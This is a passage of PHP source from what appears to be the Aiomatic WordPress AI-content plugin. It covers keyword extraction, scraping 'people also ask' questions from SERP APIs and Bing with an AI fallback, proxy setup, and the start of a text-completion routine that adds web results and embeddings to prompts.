                    $wordcount = array_count_values(str_word_count(self::clean($text), 1, $diacritics));
                    foreach ($wordcount as $key => $value) 
                    {
                        if ( (strlen($key)<= self::$min_word_length) OR in_array($key, self::$banned_words))
                            unset($wordcount[$key]);
                    }
                    uasort($wordcount,[self::class, 'cmp']);
                    $wordcount = array_slice($wordcount,0, $max_keys);
                    return implode(' ', array_keys($wordcount));
                } 
            
                private static function clean($text)
                { 
                    $text = html_entity_decode($text,ENT_QUOTES,self::$charset);
                    $text = strip_tags($text);
                    $text = preg_replace('/\s\s+/', ' ', $text);
                    $text = str_replace (array('\r\n', '\n', '+'), ',', $text);
                    return trim($text); 
                } 
            
                private static function cmp($a, $b) 
                {
                    if ($a == $b) return 0; 
            
                    return ($a < $b) ? 1 : -1; 
                } 
            
                private static function limit_chars($str, $limit = 100, $end_char = NULL, $preserve_words = FALSE)
                {
                    $end_char = ($end_char === NULL) ? '…' : $end_char;
                    $limit = (int) $limit;
                    if (trim($str) === '' OR strlen($str) <= $limit)
                        return $str;
                    if ($limit <= 0)
                        return $end_char;
                    if ($preserve_words === FALSE)
                        return rtrim(substr($str, 0, $limit)).$end_char;
                    if ( ! preg_match('/^.{0,'.$limit.'}\s/us', $str, $matches))
                        return $end_char;
                    return rtrim($matches[0]).((strlen($matches[0]) === strlen($str)) ? '' : $end_char);
                }
            }
            
            function aiomatic_scrape_related_questions($query, $headings, $model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $headings_ai_command, $headings_assistant_id = '')
            {
                $headings = intval($headings);
                $results = array();
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['valueserp_auth']) && trim($aiomatic_Main_Settings['valueserp_auth']) != '')
                {
                    $serpapi = 'https://api.valueserp.com/search?q=' . urlencode($query) . '&api_key=' . trim($aiomatic_Main_Settings['valueserp_auth']);
                    $html_data = aiomatic_get_web_page($serpapi);
                    if ($html_data !== FALSE) 
                    {
                        $json = json_decode($html_data);
                        if ($json !== null) 
                        {
                            if(isset($json->related_searches[0]->query))
                            {
                                foreach($json->related_searches as $qq)
                                {
                                    $answer = '';
                                    if(isset($qq->answer))
                                    {
                                        $answer = $qq->answer;
                                    }
                                    $rec = array("q" => $qq->query, "a" => $answer, "l" => $qq->link);
                                    if(!isset($results[$qq->query]))
                                    {
                                        $results[$qq->query] = $rec;
                                    }
                                    if(count($results) >= $headings)
                                    {
                                        break;
                                    }
                                }
                                if(count($results) > 0 && count($results) < $headings)
                                {
                                    $ok = true;
                                    while($ok && count($results) < $headings)
                                    {
                                        $last_elem = end($results);
                                        $serpapi = 'https://api.valueserp.com/search?q=' . urlencode($last_elem['q']) . '&api_key=' . trim($aiomatic_Main_Settings['valueserp_auth']);
                                        $html_data = aiomatic_get_web_page($serpapi);
                                        if ($html_data !== FALSE) 
                                        {
                                            $json = json_decode($html_data);
                                            if ($json !== null) 
                                            {
                                                if(isset($json->related_searches[0]->query))
                                                {
                                                    $count_before = count($results);
                                                    foreach($json->related_searches as $qq)
                                                    {
                                                        $answer = '';
                                                        if(isset($qq->answer))
                                                        {
                                                            $answer = $qq->answer;
                                                        }
                                                        $rec = array("q" => $qq->query, "a" => $answer, "l" => $qq->link);
                                                        if(!isset($results[$qq->query]))
                                                        {
                                                            $results[$qq->query] = $rec;
                                                        }
                                                        if(count($results) >= $headings)
                                                        {
                                                            break;
                                                        }
                                                    }
                                                    $count_after = count($results);
                                                    if($count_after == $count_before)
                                                    {
                                                        $ok = false;
                                                    }
                                                }
                                                else
                                                {
                                                    $ok = false;
                                                }
                                            }
                                            else
                                            {
                                                $ok = false;
                                            }
                                        }
                                        else
                                        {
                                            $ok = false;
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                if (isset($aiomatic_Main_Settings['serpapi_auth']) && trim($aiomatic_Main_Settings['serpapi_auth']) != '')
                {
                    if(count($results) < $headings)
                    {
                        $serpapi = 'https://serpapi.com/search.json?q=' . urlencode($query) . '&api_key=' . trim($aiomatic_Main_Settings['serpapi_auth']);
                        $html_data = aiomatic_get_web_page($serpapi);
                        if ($html_data !== FALSE) 
                        {
                            $json = json_decode($html_data);
                            if ($json !== null) 
                            {
                                if(isset($json->related_questions[0]->question))
                                {
                                    foreach($json->related_questions as $qq)
                                    {
                                        $answer = '';
                                        if(isset($qq->snippet))
                                        {
                                            $answer = $qq->snippet;
                                        }
                                        elseif(isset($qq->title))
                                        {
                                            $answer = $qq->title;
                                            if(isset($qq->list))
                                            {
                                                $answer .= ' ';
                                                foreach($qq->list as $ll)
                                                {
                                                    $answer .= trim($ll, ' .') . ', ';
                                                }
                                                $answer = trim($answer, ' ,');
                                            }
                                        }
                                        $rec = array("q" => $qq->question, "a" => $answer, "l" => $qq->link);
                                        if(!isset($results[$qq->question]))
                                        {
                                            $results[$qq->question] = $rec;
                                        }
                                        if(count($results) >= $headings)
                                        {
                                            break;
                                        }
                                    }
                                    if(count($results) > 0 && count($results) < $headings)
                                    {
                                        $ok = true;
                                        while($ok && count($results) < $headings)
                                        {
                                            $last_elem = end($results);
                                            $serpapi = 'https://serpapi.com/search.json?q=' . urlencode($last_elem['q']) . '&api_key=' . trim($aiomatic_Main_Settings['serpapi_auth']);
                                            $html_data = aiomatic_get_web_page($serpapi);
                                            if ($html_data !== FALSE) 
                                            {
                                                $json = json_decode($html_data);
                                                if ($json !== null) 
                                                {
                                                    if(isset($json->related_questions[0]->question))
                                                    {
                                                        $count_before = count($results);
                                                        foreach($json->related_questions as $qq)
                                                        {
                                                            $answer = '';
                                                            if(isset($qq->snippet))
                                                            {
                                                                $answer = $qq->snippet;
                                                            }
                                                            elseif(isset($qq->title))
                                                            {
                                                                $answer = $qq->title;
                                                                if(isset($qq->list))
                                                                {
                                                                    $answer .= ' ';
                                                                    foreach($qq->list as $ll)
                                                                    {
                                                                        $answer .= trim($ll, ' .') . ', ';
                                                                    }
                                                                    $answer = trim($answer, ' ,');
                                                                }
                                                            }
                                                            $rec = array("q" => $qq->question, "a" => $answer, "l" => $qq->link);
                                                            if(!isset($results[$qq->question]))
                                                            {
                                                                $results[$qq->question] = $rec;
                                                            }
                                                            if(count($results) >= $headings)
                                                            {
                                                                break;
                                                            }
                                                        }
                                                        $count_after = count($results);
                                                        if($count_after == $count_before)
                                                        {
                                                            $ok = false;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $ok = false;
                                                    }
                                                }
                                                else
                                                {
                                                    $ok = false;
                                                }
                                            }
                                            else
                                            {
                                                $ok = false;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                if (!isset($aiomatic_Main_Settings['bing_off']) || trim($aiomatic_Main_Settings['bing_off']) != 'on')
                {
                    if(count($results) < $headings)
                    {
                        require_once (dirname(__FILE__) . "/res/simple_html_dom.php");
                        $url = "https://www.bing.com/search?q=" . urlencode($query);
                        $related_expre = 'div[data-tag="RelatedQnA.Item"]';
                        $html_data = aiomatic_get_web_page($url);
                        if ($html_data !== FALSE) 
                        {
                            $html_dom_original_html = aiomatic_str_get_html($html_data);
                            if($html_dom_original_html !== false && method_exists($html_dom_original_html, 'find'))
                            {
                                $ret = $html_dom_original_html->find( trim($related_expre) );
                                foreach ($ret as $element ) 
                                {
                                    $q = $element->find("div",0);
                                    if($q !== null)
                                    {
                                        $q = $q->children(0);
                                        if($q !== null)
                                        {
                                            $q = $q->children(0);
                                            if($q !== null)
                                            {
                                                $q = $q->children(0);
                                                if($q !== null)
                                                {
                                                    $q = $q->plaintext;
                                                }
                                            }
                                        }
                                    }
                                    $a = $element->find("div",0);
                                    if($a !== null)
                                    {
                                        $a = $a->children(1);
                                        if($a !== null)
                                        {
                                            $a = $a->children(0);
                                            if($a !== null)
                                            {
                                                $a = $a->children(0);
                                                if($a !== null)
                                                {
                                                    $a = $a->children(0);
                                                    if($a !== null)
                                                    {
                                                        $a = $a->plaintext;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    $l = $element->find("div",0);
                                    if($l !== null)
                                    {
                                        $l = $l->children(1);
                                        if($l !== null)
                                        {
                                            $l = $l->children(0);
                                            if($l !== null)
                                            {
                                                $l = $l->children(0);
                                                if($l !== null)
                                                {
                                                    $l = $l->children(1);
                                                    if($l !== null)
                                                    {
                                                        $l = $l->children(0);
                                                        if($l !== null)
                                                        {
                                                            $l = $l->children(0);
                                                            if($l !== null)
                                                            {
                                                                $l = $l->children(0);
                                                                if($l !== null)
                                                                {
                                                                    $l = $l->children(0);
                                                                    if($l !== null)
                                                                    {
                                                                        $l = $l->getAttribute('href');
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if($q !== null && $a !== null && $l !== null)
                                    {
                                        $rec = array("q" => $q, "a" => $a, "l" => $l);
                                        if(!isset($results[$q]))
                                        {
                                            $results[$q] = $rec;
                                        }
                                        if(count($results) >= $headings)
                                        {
                                            break;
                                        }
                                    }
                                    else
                                    {
                                        break;
                                    }
                                }
                                $html_dom_original_html->clear();
                                unset($html_dom_original_html);
                            }
                        }
                        if(count($results) > 0 && count($results) < $headings)
                        {
                            $ok = true;
                            while($ok && count($results) < $headings)
                            {
                                $last_elem = end($results);
                                sleep(1);
                                $url = "https://www.bing.com/search?q=" . urlencode($last_elem['q']);
                                $html_data = aiomatic_get_web_page($url);
                                if ($html_data !== FALSE) 
                                {
                                    $html_dom_original_html = aiomatic_str_get_html($html_data);
                                    if($html_dom_original_html !== false && method_exists($html_dom_original_html, 'find'))
                                    {
                                        $ret = $html_dom_original_html->find( trim($related_expre) );
                                        if(!is_array($ret) || count($ret) == 0)
                                        {
                                            $html_dom_original_html->clear();
                                            unset($html_dom_original_html);
                                            break;
                                        }
                                        $count_before = count($results);
                                        foreach ($ret as $element ) 
                                        {
                                            $q = $element->find("div",0);
                                            if($q !== null)
                                            {
                                                $q = $q->children(0);
                                                if($q !== null)
                                                {
                                                    $q = $q->children(0);
                                                    if($q !== null)
                                                    {
                                                        $q = $q->children(0);
                                                        if($q !== null)
                                                        {
                                                            $q = $q->plaintext;
                                                        }
                                                    }
                                                }
                                            }
                                            $a = $element->find("div",0);
                                            if($a !== null)
                                            {
                                                $a = $a->children(1);
                                                if($a !== null)
                                                {
                                                    $a = $a->children(0);
                                                    if($a !== null)
                                                    {
                                                        $a = $a->children(0);
                                                        if($a !== null)
                                                        {
                                                            $a = $a->children(0);
                                                            if($a !== null)
                                                            {
                                                                $a = $a->plaintext;
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                            $l = $element->find("div",0);
                                            if($l !== null)
                                            {
                                                $l = $l->children(1);
                                                if($l !== null)
                                                {
                                                    $l = $l->children(0);
                                                    if($l !== null)
                                                    {
                                                        $l = $l->children(0);
                                                        if($l !== null)
                                                        {
                                                            $l = $l->children(1);
                                                            if($l !== null)
                                                            {
                                                                $l = $l->children(0);
                                                                if($l !== null)
                                                                {
                                                                    $l = $l->children(0);
                                                                    if($l !== null)
                                                                    {
                                                                        $l = $l->children(0);
                                                                        if($l !== null)
                                                                        {
                                                                            $l = $l->children(0);
                                                                            if($l !== null)
                                                                            {
                                                                                $l = $l->getAttribute('href');
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                            if($q !== null && $a !== null && $l !== null)
                                            {
                                                $rec = array("q" => $q, "a" => $a, "l" => $l);
                                                if(!isset($results[$q]))
                                                {
                                                    $results[$q] = $rec;
                                                }
                                                if(count($results) >= $headings)
                                                {
                                                    break;
                                                }
                                            }
                                            else
                                            {
                                                break;
                                            }
                                        }
                                        $count_after = count($results);
                                        if($count_after == $count_before)
                                        {
                                            $ok = false;
                                        }
                                        $html_dom_original_html->clear();
                                        unset($html_dom_original_html);
                                    }
                                    else
                                    {
                                        $ok = false;
                                    }
                                }
                                else
                                {
                                    $ok == false;
                                }
                            }
                        }
                    }
                }
                if ((!isset($aiomatic_Main_Settings['ai_off']) || trim($aiomatic_Main_Settings['ai_off']) != 'on') && $model !== '' && $headings_ai_command !== '')
                {
                    if(count($results) < $headings)
                    {
                        $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                        if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') 
                        {
                            return $results;
                        }
                        $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                        $appids = array_filter($appids);
                        $token = $appids[array_rand($appids)];
                        if(empty($headings_ai_command))
                        {
                            $headings_ai_command = 'Write ' . ($headings - count($results)) . ' PAA related questions, each on a new line, for the title: "' . $query . '"';
                        }
                        else
                        {
                            $headings_ai_command = str_replace('%%needed_heading_count%%', $headings - count($results), $headings_ai_command);
                            $headings_ai_command = str_replace('%%post_title%%', $query, $headings_ai_command);
                        }
                        $query_token_count = count(aiomatic_encode($headings_ai_command));
                        $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $headings_ai_command, $query_token_count);
                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                        {
                            $string_len = strlen($headings_ai_command);
                            $string_len = $string_len / 2;
                            $string_len = intval(0 - $string_len);
                            $headings_ai_command = aiomatic_substr($headings_ai_command, 0, $string_len);
                            $headings_ai_command = trim($headings_ai_command);
                            $query_token_count = count(aiomatic_encode($headings_ai_command));
                            $available_tokens = $max_tokens - $query_token_count;
                        }
                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                        {
                            $api_service = aiomatic_get_api_service($token, $model);
                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $headings_assistant_id . '\\' . $model . ') for headings generator: ' . $headings_ai_command);
                        }
                        $thread_id = '';
                        $aierror = '';
                        $finish_reason = '';
                        $generated_text = aiomatic_generate_text($token, $model, $headings_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'shortcodeHeadingsArticle', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $headings_assistant_id, $thread_id, '', 'disabled', '', false);
                        if($generated_text === false)
                        {
                            aiomatic_log_to_file('Title generator error: ' . $aierror);
                            return $results;
                        }
                        else
                        {
                            $generated_text = ucfirst(trim(trim(trim(trim($generated_text), '.'), ' "\'')));
                            $generated_text_arr = preg_split('/\r\n|\r|\n/', $generated_text);
                            $generated_text_arr = array_filter($generated_text_arr);
                            foreach($generated_text_arr as $gen_head)
                            {
                                $rec = array("q" => $gen_head, "a" => '', "l" => '');
                                if(!isset($results[$gen_head]))
                                {
                                    $results[$gen_head] = $rec;
                                }
                                if(count($results) >= $headings)
                                {
                                    break;
                                }
                            }
                        }
                    }
                }
                return $results;
            }
            function aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings)
            {
                if(aiomatic_check_if_azure($aiomatic_Main_Settings))
                {
                    return true;
                }
                if(!aiomatic_is_chatgpt_o_model($model) && !aiomatic_is_chatgpt_turbo_model($model) && !aiomatic_is_chatgpt35_16k_context_model($model) && !aiomatic_is_claude_model($model) && !aiomatic_is_openrouter_model($model) && !aiomatic_is_huggingface_model($model) && !aiomatic_is_ollama_model($model) && !aiomatic_is_perplexity_model($model))
                {
                    return true;
                }
                return false;
            }
            function aiomatic_is_aiomaticapi_key($token)
            {
                if(empty($token))
                {
                    return false;
                }
                $token_prepro = explode('_', $token);
                if(isset($token_prepro[1]) && strlen($token_prepro[1]) > 10 && is_numeric($token_prepro[0]))
                {
                    return true;
                }
                return false;
            }
            function aiomatic_is_trained_model($model)
            {
                if(stristr($model, ':ft-') !== false || aiomatic_starts_with($model, 'ft:') !== false)
                {
                    return true;
                }
                return false;
            }
            function aiomatic_get_internet_embeddings_result($aiomatic_Main_Settings, $env, &$embeddings_enabled, &$internet_enabled)
            {
                if(stristr($env, 'singlePostWriter') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_single']) && $aiomatic_Main_Settings['embeddings_single'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_single']) && $aiomatic_Main_Settings['internet_single'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'shortcodeHeadingsArticle') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_related']) && $aiomatic_Main_Settings['embeddings_related'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_related']) && $aiomatic_Main_Settings['internet_related'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'formsText') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_forms']) && $aiomatic_Main_Settings['embeddings_forms'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_forms']) && $aiomatic_Main_Settings['internet_forms'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'omniBlocks') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_omni']) && $aiomatic_Main_Settings['embeddings_omni'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_omni']) && $aiomatic_Main_Settings['internet_omni'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'aiAssistantWriter') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_assistant']) && $aiomatic_Main_Settings['embeddings_assistant'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_assistant']) && $aiomatic_Main_Settings['internet_assistant'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'shortcodeContentArticle') !== false || stristr($env, 'shortcodeHeadingArticle') !== false || stristr($env, 'shortcodeKeywordArticle') !== false || stristr($env, 'shortcodeCompletion') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_article_short']) && $aiomatic_Main_Settings['embeddings_article_short'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_article_short']) && $aiomatic_Main_Settings['internet_article_short'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'shortcodeChat') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_chat_short']) && $aiomatic_Main_Settings['embeddings_chat_short'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_chat_short']) && $aiomatic_Main_Settings['internet_chat_short'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'shortcodeCEditor') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_edit_short']) && $aiomatic_Main_Settings['embeddings_edit_short'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_edit_short']) && $aiomatic_Main_Settings['internet_edit_short'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'keywordCompletion') !== false || stristr($env, 'titleCEditor') !== false || stristr($env, 'contentCEditor') !== false || stristr($env, 'contentCompletion') !== false || stristr($env, 'headingCompletion') !== false || stristr($env, 'excerptCEditor') !== false || stristr($env, 'slugCEditor') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_edit']) && $aiomatic_Main_Settings['embeddings_edit'] == 'on')
                    {
                        $embeddings_enabled = true;
                    }
                    if(isset($aiomatic_Main_Settings['internet_edit']) && $aiomatic_Main_Settings['internet_edit'] == 'on')
                    {
                        $internet_enabled = true;
                    }
                }
                elseif(stristr($env, 'tagID') !== false || stristr($env, 'categoryID') !== false || stristr($env, 'keywordID') !== false || stristr($env, 'titleID') !== false || stristr($env, 'contentID') !== false || stristr($env, 'headingID') !== false || stristr($env, 'topicContentWriter') !== false)
                {
                    if(isset($aiomatic_Main_Settings['embeddings_bulk']) && $aiomatic_Main_Settings['embeddings_bulk'] == 'on')
                    {
                        if(stristr($env, 'titleID') !== false || stristr($env, 'topicContentWritertitle') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_title']) && $aiomatic_Main_Settings['embeddings_bulk_title'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'contentID') !== false || stristr($env, 'topicContentWritercontent') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_content']) && $aiomatic_Main_Settings['embeddings_bulk_content'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'headingID') !== false || stristr($env, 'topicContentWritersections') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_sections']) && $aiomatic_Main_Settings['embeddings_bulk_sections'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriterintro') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_intro']) && $aiomatic_Main_Settings['embeddings_bulk_intro'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriterqa') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_qa']) && $aiomatic_Main_Settings['embeddings_bulk_qa'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriteroutro') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_outro']) && $aiomatic_Main_Settings['embeddings_bulk_outro'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriterexcerpt') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['embeddings_bulk_excerpt']) && $aiomatic_Main_Settings['embeddings_bulk_excerpt'] == 'on')
                            {
                                $embeddings_enabled = true;
                            }
                        }
                        else 
                        {
                            $embeddings_enabled = true;
                        }
                    }
                    if(isset($aiomatic_Main_Settings['internet_bulk']) && $aiomatic_Main_Settings['internet_bulk'] == 'on')
                    {
                        if(stristr($env, 'titleID') !== false || stristr($env, 'topicContentWritertitle') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_title']) && $aiomatic_Main_Settings['internet_bulk_title'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'contentID') !== false || stristr($env, 'topicContentWritercontent') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_content']) && $aiomatic_Main_Settings['internet_bulk_content'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'headingID') !== false || stristr($env, 'topicContentWritersections') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_sections']) && $aiomatic_Main_Settings['internet_bulk_sections'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriterintro') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_intro']) && $aiomatic_Main_Settings['internet_bulk_intro'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriterqa') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_qa']) && $aiomatic_Main_Settings['internet_bulk_qa'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriteroutro') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_outro']) && $aiomatic_Main_Settings['internet_bulk_outro'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        elseif(stristr($env, 'topicContentWriterexcerpt') !== false)
                        {
                            if(isset($aiomatic_Main_Settings['internet_bulk_excerpt']) && $aiomatic_Main_Settings['internet_bulk_excerpt'] == 'on')
                            {
                                $internet_enabled = true;
                            }
                        }
                        else 
                        {
                            $internet_enabled = true;
                        }
                    }
                }
            }
            function aiomatic_add_proxy($curl)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled')
                {
                    $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                    $randomness = array_rand($prx);
                    curl_setopt($curl, CURLOPT_PROXY , trim($prx[$randomness]));
                    if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                    {
                        $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                        if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                        {
                            curl_setopt($curl, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness]));
                        }
                    }
                }
            }
            function aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, &$finish_reason, &$error, $no_internet = false, $no_embeddings = false, $stream = false, $user_question = '', $embedding_namespace = '')
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $embeddings_enabled = false;
                $internet_enabled = false;
                $max_tokens = aiomatic_get_max_tokens($model);
                aiomatic_get_internet_embeddings_result($aiomatic_Main_Settings, $env, $embeddings_enabled, $internet_enabled);
                if($no_internet !== true && $internet_enabled == true)
                {
                    if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                    {
                        aiomatic_log_to_file('Getting internet search results for : ' . $aicontent);
                    }
                    $internet_prompt = '';
                    if(isset($aiomatic_Main_Settings['internet_prompt']) && $aiomatic_Main_Settings['internet_prompt'] != '')
                    {
                        $internet_prompt = $aiomatic_Main_Settings['internet_prompt'];
                    }
                    if(stristr($internet_prompt, '%%web_results%%') === false)
                    {
                        $internet_prompt .= ' %%web_results%%';
                    }
                    if(empty($user_question))
                    {
                        $user_question = $aicontent;
                    }
                    $locale = '';
                    if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '')
                    {
                        $locale = $aiomatic_Main_Settings['internet_gl'];
                    }
                    $internet_rez = aiomatic_internet_result($user_question, false, $locale);
                    shuffle($internet_rez);
                    if (isset($aiomatic_Main_Settings['results_num']) && trim($aiomatic_Main_Settings['results_num']) != '')
                    {
                        $results = intval(trim($aiomatic_Main_Settings['results_num']));
                    }
                    else
                    {
                        $results = 3;
                    }
                    $gotcnt = 0;
                    $internet_results = '';
                    foreach($internet_rez as $emb)
                    {
                        if($gotcnt >= $results)
                        {
                            break;
                        }
                        if (isset($aiomatic_Main_Settings['internet_single_template']) && trim($aiomatic_Main_Settings['internet_single_template']) != '')
                        {
                            $internet_single_template = $aiomatic_Main_Settings['internet_single_template'];
                        }
                        else
                        {
                            $internet_single_template = '[%%result_counter%%]: %%result_title%% %%result_snippet%% ' . PHP_EOL . 'URL: %%result_link%%';
                        }
                        $internet_single_template = str_replace('%%result_counter%%', $gotcnt + 1, $internet_single_template);
                        $internet_single_template = str_replace('%%result_title%%', $emb['title'], $internet_single_template);
                        $internet_single_template = str_replace('%%result_snippet%%', $emb['snippet'], $internet_single_template);
                        $internet_single_template = str_replace('%%result_link%%', $emb['link'], $internet_single_template);
                        $internet_results .= $internet_single_template . PHP_EOL;
                        $gotcnt++;
                    }
                    if($internet_results == '')
                    {
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Internet search failed for text completion, no data returned!');
                        }
                    }
                    else
                    {
                        if($internet_prompt != '')
                        {
                            $internet_prompt = str_ireplace('%%original_query%%', $aicontent, $internet_prompt);
                            $internet_prompt = str_ireplace('%%current_date%%', date('Y-m-d'), $internet_prompt);
                            $internet_prompt = str_ireplace('%%web_results%%', $internet_results, $internet_prompt);
                            if($internet_prompt != '')
                            {
                                $internet_tokens = count(aiomatic_encode($internet_prompt));
                                if($internet_tokens > $max_tokens - 300)
                                {
                                    aiomatic_log_to_file('Negative available tokens resulted after internet results, skipping it.');
                                }
                                else
                                {
                                    if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                    {
                                        aiomatic_log_to_file('Changing prompt to: ' . $internet_prompt);
                                    }
                                    $aicontent = $internet_prompt;
                                    $available_tokens = $max_tokens - $internet_tokens;
                                }
                            }
                        }
                    }
                }
                if($no_embeddings !== true && $embeddings_enabled == true)
                {
                    if(empty($user_question))
                    {
                        $user_question = $aicontent;
                    }
                    $embed_rez = aiomatic_embeddings_result($user_question, $token, $embedding_namespace);
                    if($embed_rez['status'] == 'error')
                    {
                        if($embed_rez['data'] != 'No results found' && $embed_rez['data'] != 'No data returned' && $embed_rez['data'] != 'No embeddings are added in the plugin config!')
                        {
                            aiomatic_log_to_file('Embeddings failed: ' . print_r($embed_rez, true));
                        }
                    }
                    else
                    {
                        $aicontent_temp = '"' . $embed_rez['data'] . '" ' . $aicontent;
                        $suffix_tokens = count(aiomatic_encode($aicontent_temp));
                        $available_tokens = $available_tokens - $suffix_tokens;
                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                        {
                            aiomatic_log_to_file('Negative available tokens resulted after embeddings, skipping it.');
                        }
                        else
                        {
                            $aicontent = $aicontent_temp;
                        }
                    }
                }
                $content_tokens = count(aiomatic_encode($aicontent));
                $total_tokens = $content_tokens + $available_tokens;
                if($total_tokens >= $max_tokens && !aiomatic_is_new_token_window_model($model))
                {
                    $available_tokens = $max_tokens - $content_tokens;
